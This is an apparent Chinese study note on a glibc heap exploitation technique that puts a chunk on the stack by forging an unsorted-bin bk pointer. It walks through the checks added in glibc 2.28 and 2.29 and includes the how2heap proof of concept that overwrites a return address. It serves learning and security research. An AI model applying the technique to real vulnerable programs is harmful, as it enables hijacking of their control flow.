又没有例题( ̄、 ̄)
原理
实现效果为分配chunk到栈上
unsorted bin遍历过程中是用bin的bk指针寻找chunk的
1
| while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
|
从unsorted bin中摘下chunk的时候有以下寻址,所以victim->bk得是一个合法地址:
1 2 3 4
| bck = victim->bk; …… unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
|
2.28增加了以下检查,所以要伪造bck的fd指针:
1 2
| if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3");
|
2.29增加了next chunk的presize和size、preinuse检查,无法利用了(如果能在栈上找到合法的next chunk倒是能用,但可能性感觉不大)
1 2 3 4 5 6 7
| if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); if (__glibc_unlikely (bck->fd != victim) || __glibc_unlikely (victim->fd != unsorted_chunks (av))) malloc_printerr ("malloc(): unsorted double linked list corrupted"); if (__glibc_unlikely (prev_inuse (next))) malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
|
利用
2.26以前
实验代码如下(来自how2heap):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <assert.h>
void jackpot(){ printf("Nice jump d00d\n"); exit(0); }
int main() { intptr_t stack_buffer[4] = {0}; intptr_t* victim = malloc(0x110);
intptr_t* p1 = malloc(0x100);
free(victim);
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;
victim[1] = (intptr_t)stack_buffer;
char *p2 = malloc(0x100);
intptr_t sc = (intptr_t)jackpot; memcpy((p2+40), &sc, 8);
assert((long)__builtin_return_address(0) == (long)jackpot); }
|
2.26到2.28
2.26有了tcache之后申请的chunk大小要超过tcache的范围,2.28要伪造栈上fake chunk的bk和fd指针
2.29以上
如果能伪造next chunk的presize和preinuse就能继续利用